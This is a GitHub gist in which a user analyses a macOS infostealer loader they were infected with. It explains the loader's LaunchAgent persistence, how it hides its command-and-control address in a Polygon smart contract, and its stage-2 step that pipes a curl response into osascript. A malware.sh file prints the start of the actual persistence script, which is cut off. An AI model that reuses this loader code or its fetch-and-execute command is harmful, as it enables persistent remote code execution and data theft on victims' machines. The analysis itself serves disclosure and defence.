malware i got infected with · GitHub

/" data-turbo-transient="true" />

Skip to content

-->

Search Gists

Search Gists

Sign in

Sign up

You signed in with another tab or window. Reload to refresh your session.<br>You signed out in another tab or window. Reload to refresh your session.<br>You switched accounts on another tab or window. Reload to refresh your session.

Dismiss alert

{{ message }}

Instantly share code, notes, and snippets.

fordnox/explanation.md

Last active<br>July 25, 2026 10:18

Show Gist options

Download ZIP

Star

(0)

You must be signed in to star a gist

Fork

(0)

You must be signed in to fork a gist

Embed

Select an option

Embed<br>Embed this gist in your website.

Share<br>Copy sharable link for this gist.

Clone via HTTPS<br>Clone using the web URL.

No results found

Learn more about clone URLs

Clone this repository at &lt;script src=&quot;https://gist.github.com/fordnox/d8574b7ccacf8950b241f3ae22d967af.js&quot;&gt;&lt;/script&gt;

" readonly="readonly" data-autoselect="true" data-target="primer-text-field.inputElement " aria-describedby="validation-cd40664c-e195-49ad-8262-a9d5aa196e56" class="form-control FormControl-monospace FormControl-input FormControl-small rounded-left-0 rounded-right-0 border-right-0" type="text" name="gist-share-url-sized-down" />

Save fordnox/d8574b7ccacf8950b241f3ae22d967af to your computer and use it in GitHub Desktop.

Embed

Select an option

Embed<br>Embed this gist in your website.

Share<br>Copy sharable link for this gist.

Clone via HTTPS<br>Clone using the web URL.

No results found

Learn more about clone URLs

Clone this repository at &lt;script src=&quot;https://gist.github.com/fordnox/d8574b7ccacf8950b241f3ae22d967af.js&quot;&gt;&lt;/script&gt;

" readonly="readonly" data-autoselect="true" data-target="primer-text-field.inputElement " aria-describedby="validation-9bd2e7d1-ff76-4bf5-8838-c327fce49c37" class="form-control FormControl-monospace FormControl-input FormControl-small rounded-left-0 rounded-right-0 border-right-0" type="text" name="gist-share-url-original" />

Save fordnox/d8574b7ccacf8950b241f3ae22d967af to your computer and use it in GitHub Desktop.

Download ZIP

malware i got infected with

Raw

explanation.md

What it is

A macOS infostealer loader using the "EtherHiding" technique — the command-and-control address is stored in a blockchain smart contract instead of hardcoded, so it can't be taken down or blocklisted.

What it does

Persistence — writes ~/Library/LaunchAgents/com.pjwfdlzddujxvvxg.plist with RunAtLoad + KeepAlive, so it starts at every login and relaunches if killed. The plist body is a base64 blob piped to osascript, so nothing ever touches disk as a readable script.

Resolves its C2 from the Polygon blockchain — the decoded AppleScript makes a JSON-RPC eth_call against contract 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0, selector 0x2686ecea, trying four public RPC providers in turn (polygon.drpc.org, polygon.publicnode.com, polygon-mainnet.gateway.tatum.io, tenderly.rpc.polygon.community). It ABI-decodes the returned string. To ordinary network monitoring this looks like benign crypto traffic; the attacker can repoint the C2 by writing to the contract.

Fetches and executes stage 2 —<br>curl -X POST https:// -d 'txid=&bmodule' | osascript<br>The response is piped straight into osascript. That's arbitrary remote code execution, re-fetched fresh every login — the attacker can push any payload at any time. 813f8fa78d31247bfa5500ac3fe5243b is your victim/campaign identifier.

Raw

malware.sh

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.<br>Learn more about bidirectional Unicode characters

Show hidden characters

do shell script "

SCRIPT_PATH=\"$HOME/Library/pjwfdlzddujxvvxg\";

mkdir -p \"$HOME/Library/LaunchAgents\";

cat > \"$HOME/Library/LaunchAgents/com.pjwfdlzddujxvvxg.plist\"

\"1.0\" encoding=\"UTF-8\"?>

\"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">

\"1.0\">

Label

com.pjwfdlzddujxvvxg

KeepAlive

RunAtLoad

ProgramArguments

/bin/bash

-c

echo...